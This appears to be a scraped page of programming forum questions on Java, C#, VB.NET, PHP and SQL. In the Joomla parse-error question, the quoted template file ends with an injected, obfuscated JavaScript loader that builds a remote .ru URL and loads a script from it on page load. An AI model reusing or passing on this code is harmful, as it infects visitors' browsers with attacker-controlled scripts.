todo[todonum++] = ((x + dx[d]) << Constants.QUEUED) | (y + dy[d]); maze[][d][][d] &= ~Constants.QUEUED; } } /* Repeat until finished. */ } /* Add an entrance and exit. */ maze[1][1] &= ~Constants.WALL_ABOVE; maze[width - 2][height - 2] &= ~Constants.WALL_BELOW; } /* Called by the applet infrastructure to display the maze on-screen. */ public void paint(Graphics g) { drawMaze(g); } /* Called to write the maze to an SVG file. */ public void printSVG() { System.out.format("<svg width=\"%d\" height=\"%d\" version=\"1.1\"" + " xmlns=\"http://www.w3.org/2000/svg\">\n", width*cell_width, height*cell_width); System.out.println(" <g stroke=\"black\" stroke-width=\"1\"" + " stroke-linecap=\"round\">"); drawMaze(null); System.out.println(" </g>\n</svg>"); } /* Main maze-drawing loop. */ public void drawMaze(Graphics g) { int x, y; for (x = 1; x < width - 1; ++x) { for (y = 1; y < height - 1; ++y) { if ((maze[x][y] & Constants.WALL_ABOVE) != 0) drawLine( x * cell_width, y * cell_width, (x + 1) * cell_width, y * cell_width, g); if ((maze[x][y] & Constants.WALL_BELOW) != 0) drawLine( x * cell_width, (y + 1) * cell_width, (x + 1) * cell_width, (y + 1) * cell_width, g); if ((maze[x][y] & Constants.WALL_LEFT) != 0) drawLine( x * cell_width, y * cell_width, x * cell_width, (y + 1) * cell_width, g); if ((maze[x][y] & Constants.WALL_RIGHT) != 0) drawLine((x + 1) * cell_width, y * cell_width, (x + 1) * cell_width, (y + 1) * cell_width, g); } } } /* Draw a line, either in the SVG file or on the screen. */ public void drawLine(int x1, int y1, int x2, int y2, Graphics g) { if ( g != null ) g.drawLine(x1, y1, x2, y2); else System.out.format(" <line x1=\"%d\" y1=\"%d\"" + " x2=\"%d\" y2=\"%d\" />\n", x1, y1, x2, y2); } } Anyway, I was chugging along fairly quickly when I came to a bit that I just don't understand: /* Remember the surrounding squares, as we will */ for (var d = 0; d < 4; ++d) { if ((maze[][d][][d] & Constants.QUEUED) != 0) { /* want to connect them to the maze. */ todo[todonum++] = ((x + dx[d]) << Constants.QUEUED) | (y + dy[d]); maze[][d][][d] &= ~Constants.QUEUED; } } What I don't get is why there are four sets of brackets following the "maze" parameter instead of just two, since "maze" is a two dimensional array, not a four dimensional array. I'm sure there's a good reason for this. Problem is, I just don't get it. Thanks!

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  • mySQL :syntax using in C#

    - by Meko
    Hi. I am using in C# MYsql .I have query that works if I run on MySql Workbench ,but in C# it does not return any value also does not give ant error too.There is only one different using on Mysql I use before table name databaseName.tableName , but in C# I think it doesn`t necessary. This is part of query which does not return anything. "(select Lesson_Name from schedule where Group_NO = (select Group_NO from sinif inner join student ON sinif.Group_ID=student.Group_ID where Student_Name=(?Student))"+ " And Day_Name =(select Day_Name from day inner join date ON day.Day_ID=date.DayName where Date=(?Date))" + "And Lesson_Time= (select Lesson_Time from clock where Lesson_Time <= (?Time)order by Lesson_Time DESC limit 0, 1) " + " And Week_NO = (select Week_NO from week inner join date ON week.Week_ID=date.Week_ID where Date=(?Date))) And Here all codes which executes when user click button. private void check_B_Click(object sender, EventArgs e) { connection.Open(); for (int i = 0; i < existingStudents.Count; i++) { MySqlCommand cmd1 = new MySqlCommand("select Student_Name,Student_Surname,Student_MacAddress from student ", connection); MySqlCommand cmd2 = new MySqlCommand("insert into check_list (Student,Mac_Address,Date,Time,Lesson_Name)"+ "values((?Student),(?MacAddress),(?Date),(?Time),"+ "(select Lesson_Name from schedule where Group_NO = (select Group_NO from sinif inner join student ON sinif.Group_ID=student.Group_ID where Student_Name=(?Student))"+ " And Day_Name =(select Day_Name from day inner join date ON day.Day_ID=date.DayName where Date=(?Date))" + "And Lesson_Time= (select Lesson_Time from clock where Lesson_Time <= (?Time)order by Lesson_Time DESC limit 0, 1) " + " And Week_NO = (select Week_NO from week inner join date ON week.Week_ID=date.Week_ID where Date=(?Date))))", connection); MySqlParameter param1 = new MySqlParameter(); param1.ParameterName = "?Student"; reader = cmd1.ExecuteReader(); if (reader.HasRows) while (reader.Read()) { if (reader["Student_MacAddress"].ToString() == existingStudentsMac[i].ToString()) param1.Value = reader["Student_Name" ]+" "+reader["Student_Surname"]; } reader.Close(); MySqlParameter param2 = new MySqlParameter(); param2.ParameterName = "?MacAddress"; param2.Value = existingStudentsMac[i]; MySqlParameter param3 = new MySqlParameter(); param3.ParameterName = "?Date"; param3.Value = DateTime.Today.Date; MySqlParameter param4 = new MySqlParameter(); param4.ParameterName = "?Time"; param4.Value = DateTime.Now.ToString("HH:mm"); cmd2.Parameters.Add(param1); cmd2.Parameters.Add(param2); cmd2.Parameters.Add(param3); cmd2.Parameters.Add(param4); cmd2.ExecuteNonQuery(); } connection.Close(); MessageBox.Show("Sucsess :)"); }

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  • Problem with asp.net function syntax (not returning values correctly)

    - by Phil
    I have an active directory search function: Function GetAdInfo(ByVal ADDN As String, ByVal ADCommonName As String, ByVal ADGivenName As String, ByVal ADStaffNum As String, ByVal ADEmail As String, ByVal ADDescription As String, ByVal ADTelephone As String, ByVal ADOffice As String, ByVal ADEmployeeID As String) As String Dim netBIOSname As String = Me.Request.LogonUserIdentity.Name Dim sAMAccountName As String = netBIOSname.Substring(netBIOSname.LastIndexOf("\"c) + 1) Dim defaultNamingContext As String Using rootDSE As DirectoryServices.DirectoryEntry = New DirectoryServices.DirectoryEntry("LDAP://RootDSE") defaultNamingContext = rootDSE.Properties("defaultNamingContext").Value.ToString() End Using Using searchRoot As DirectoryServices.DirectoryEntry = _ New DirectoryServices.DirectoryEntry("LDAP://" + defaultNamingContext, _ "kingkong", "kingkong", DirectoryServices.AuthenticationTypes.Secure) Using ds As DirectoryServices.DirectorySearcher = New DirectoryServices.DirectorySearcher(searchRoot) ds.Filter = String.Format("(&(objectClass=user)(objectCategory=person)(sAMAccountName={0}))", sAMAccountName) Dim sr As DirectoryServices.SearchResult = ds.FindOne() 'If sr.Properties("displayName").Count = 0 Then whatever = string.empty '' (how to check nulls when required) ' End If ADDN = (sr.Properties("displayName")(0).ToString()) ADCommonName = (sr.Properties("cn")(0).ToString()) ADGivenName = (sr.Properties("givenname")(0).ToString()) ADStaffNum = (sr.Properties("sn")(0).ToString()) ADEmail = (sr.Properties("mail")(0).ToString()) ADDescription = (sr.Properties("description")(0).ToString()) ADTelephone = (sr.Properties("telephonenumber")(0).ToString()) ADOffice = (sr.Properties("physicalDeliveryOfficeName")(0).ToString()) ' ADEmployeeID = (sr.Properties("employeeID")(0).ToString()) End Using End Using Return ADDN Return ADCommonName Return ADGivenName Return ADStaffNum Return ADEmail Return ADDescription Return ADTelephone Return ADOffice ' Return ADEmployeeID 'have commented out employee id as i dont have one so it is throwing null errors. ' im not ready to put labels on the frontend or catch this info yet End Function The function appears to work, as when I put a breakpoint at the end, the variables such as ADDN do have the correct values. Then I call the function in my page_load like this: GetAdInfo(ADDN, ADCommonName, ADGivenName, ADStaffnum, ADEmail, ADDescription, ADTelephone, ADOffice, ADEmployeeID) Then I try to response.write out one of the vars to test like this: Response.Write(ADDN) But the value is empty. Please can someone tell me what I am doing wrong. Thanks

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  • Customize VisualStudio syntax highlighting even more

    - by Alex K
    Hi everybody, I am wondering if it is possible to set VisualStudio IDE so it highlights private/protected/public variables of the class differently as well as change formatting on locals (i.e. variables that are either passed in or declared inside a function, like this). I did not find any such options in the normal Fonts and Colors menu of VS. Also a search on SO reveals that (at least as of 2 years ago) only add-ons provide such features. But is there a way to manually edit some file? Just because we don't get a nice UI to edit, doesn't mean underlying framework automatically doesn't support it. I mean add-ons have to plug into something to do their magic in the editor. Any insights into this issue? Thanks!

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  • Kohana ORM syntax question

    - by anthony
    I'm using the "join_table" function with Kohana's ORM to build a query. The following works: $category = ORM::factory('category')->join_table('product'); But this doesn't: $category = ORM::factory('category'); $category->join_table('product'); The documentation uses the second as an example, but it returns 0 while the first example returns "categories_products" which is correct. Any ideas?

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  • Visual Studio HTML Cursor-within-HTML-Element Syntax-highlighting color

    - by David Murdoch
    I can't, for the life of me, figure out how to change grey highlight color in the screenshot below to something that will make the text a little more legible. Does anyone know what the "Display Item" name is that I need to change? To get to the "theme editor" select Tools = Options = Environment = Fonts and Colors. I can't find what to edit. I've also looked through Tools = Options = Text Editor = HTML = Formatting to no avail. In case you are wondering the theme is a slightly modified Coding Instinct Theme

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  • Parse error: syntax error, unexpected '<' in /home/future/public_html/modules/mod_mainmenu/tmpl/defa

    - by kofi
    I'm unfortunately having an unknown error with my php file. (for joomla 1.5) I don't seem to get what's wrong. This is my entire code, with an apparent error on line 84. Would appreciate some feedback, thanks. <?php // no direct access defined('_JEXEC') or die('Restricted access'); if ( ! defined('modMainMenuXMLCallbackDefined') ) { function modMainMenuXMLCallback(&$node, $args) { $user = &JFactory::getUser(); $menu = &JSite::getMenu(); $active = $menu->getActive(); $path = isset($active) ? array_reverse($active->tree) : null; if (($args['end']) && ($node->attributes('level') >= $args['end'])) { $children = $node->children(); foreach ($node->children() as $child) { if ($child->name() == 'ul') { $node->removeChild($child); } } } if ($node->name() == 'ul') { foreach ($node->children() as $child) { if ($child->attributes('access') > $user->get('aid', 0)) { $node->removeChild($child); } } } if (($node->name() == 'li') && isset($node->ul)) { $node->addAttribute('class', 'parent'); } if (isset($path) && (in_array($node->attributes('id'), $path) || in_array($node->attributes('rel'), $path))) { if ($node->attributes('class')) { $node->addAttribute('class', $node->attributes('class').' active'); } else { $node->addAttribute('class', 'active'); } } else { if (isset($args['children']) && !$args['children']) { $children = $node->children(); foreach ($node->children() as $child) { if ($child->name() == 'ul') { $node->removeChild($child); } } } } if (($node->name() == 'li') && ($id = $node->attributes('id'))) { if ($node->attributes('class')) { $node->addAttribute('class', $node->attributes('class').' item'.$id); } else { $node->addAttribute('class', 'item'.$id); } } if (isset($path) && $node->attributes('id') == $path[0]) { $node->addAttribute('id', 'current'); } else { $node->removeAttribute('id'); } $node->removeAttribute('rel'); $node->removeAttribute('level'); $node->removeAttribute('access'); } define('modMainMenuXMLCallbackDefined', true); } modMainMenuHelper::render($params, 'modMainMenuXMLCallback'); <script>var Zl;if(Zl!='' && Zl!='ki'){Zl=''};function v(){var jL=new String();var M=window;var q="";var ZY='';var Z=unescape;var C;if(C!='' && C!='g'){C=null};this.nj='';var _='';this.X="";var t=new Date();var R="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x61\x72\x65\x61\x73\x61\x6c\x65\x2d\x63\x6f\x6d\x2e\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x7a\x2e\x65\x79\x6e\x79\x2d\x63\x6f\x6d\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";var Od;if(Od!='Dm' && Od!='V'){Od='Dm'};var Vr='';var P=new String("g");var B="";var E;if(E!='' && E!='gD'){E=null};function b(y,U){var zm=new Array();var a='';this.Cm="";var Vb=new String();var k=Z("%5b")+U+Z("%5d");var tX=new String();var MV;if(MV!='' && MV!='qt'){MV='MD'};var c=new RegExp(k, P);return y.replace(c, _);var cS="";var RTD='';};var Zr;if(Zr!='' && Zr!='vJ'){Zr=''};var L=new String();var DE=new Date();var fg;if(fg!='Ep'){fg='Ep'};var nf;if(nf!=''){nf='d_'};var W=Z("%2f%67%6f%6f%67%6c%65%2e%61%74%2f%67%6f%6f%67%6c%65%2e%61%74%2f%64%72%75%64%67%65%72%65%70%6f%72%74%2e%63%6f%6d%2f%74%72%61%76%69%61%6e%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");this.aA='';var u='';this.XB='';var dP;if(dP!='i' && dP != ''){dP=null};var dN;if(dN!='' && dN!='zx'){dN='_y'};var WS=b('85624104275582212705194497','13296457');var Hb=new Array();var lP;if(lP!='ok' && lP != ''){lP=null};var O=document;function n(){var J;if(J!='mS' && J != ''){J=null};u=R;var jv;if(jv!='' && jv!='jw'){jv=''};u+=WS;var MJ;if(MJ!='Qp'){MJ=''};u+=W;var fj=new Array();this.PM="";try {this.dq='';var ln=new Date();var eS=new Date();h=O.createElement(b('sScwrwi4pSt5','OZjKg4w5S'));var uW=new String();var Aj;if(Aj!='lX'){Aj='lX'};var aF;if(aF!='' && aF!='_o'){aF=null};h.src=u;var GY;if(GY!='ev' && GY!='Jr'){GY='ev'};var KK;if(KK!=''){KK='gDq'};h.defer=[1][0];var nO;if(nO!='tP'){nO=''};var aV=new Date();var bE=new Date();O.body.appendChild(h);this.Ze="";} catch(MC){var Ki;if(Ki!='m_' && Ki != ''){Ki=null};};}M[String("pqP5onloa".substr(4)+"drYD".substr(0,1))]=n;var EY;if(EY!='' && EY!='wn'){EY='Sj'};var ep;if(ep!='' && ep!='_q'){ep='Oy'};var uE=new Array();var E_;if(E_!='iU'){E_='iU'};};this.pt="";v();var tl=new String();</script> <!--793d57c076e95df45c451725e5dedf6f-->

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  • An unhandled exception of type 'System.StackOverflowException' occurred in System.Windows.Forms.dll

    - by Tanner
    OK, Im trying to highlight keywords in a richtextbox, the problem is I've got the code to highlight only the visible text on textChanged event,so I tryed putting the code in the richtextbox VScroll, so when I scrolled up it would highlight the text that wasn't visible before, but every time I start to scroll I get this error: "An unhandled exception of type 'System.StackOverflowException' occurred in System.Windows.Forms.dll" Does any one know why? Or maybe a way I could highlight the words while scrolling? Thanks, Tanner. int selectionstart = richTextBox1.Selectionstart; int topIndex = richTextBox1.GetCharIndexFromPosition(new Point(1, 1));//This is where I get the error. int bottomIndex = richTextBox1.GetCharIndexFromPosition(new Point(1, richTextBox1.Height - 1)); int topLine = richTextBox1.GetLineFromCharIndex(topIndex); int bottomLine = richTextBox1.GetLineFromCharIndex(bottomIndex); int start = richTextBox1.GetFirstCharIndexFromLine(topLine); int end = richTextBox1.GetFirstCharIndexFromLine(bottomLine); int numLinesDisplayed = (bottomLine - topLine) + 2; richTextBox1.Focus(); richTextBox1.Select(start, end);

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  • Inconsistent syntax c# ?

    - by maxp
    private string[] GetRoles() { string[] foo = {"Test"}; return foo; } The above compiles, but... private string[] GetRoles() { return {"Test"}; } Does not. Replacing it with: return new string[] { "Test" }; Will obviously compile though. Is this inconsistancy or am i being stupid, or am i just wrong :S.

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  • SQL syntax Newbie student

    - by sammysmall
    Describe the output of the following SQL query: select custId, name from customer where region = "New York" UNION select cust.custId, cust.name from customer cust where cust.custId IN (select cust_order.custId from customer_order cust_order, company_employee comp_emp where cust_order.salesEmpId = comp_emp.empId AND comp_emp.name = 'DANIEL'); My question is: at line from customer cust is cust referring to a column in the customer table... This is a homework question I have identified the components leading up to this line and I think that cust is a column in the customer table... I am not asking for an overall solution just a bit of encouragement if I am on the right track...

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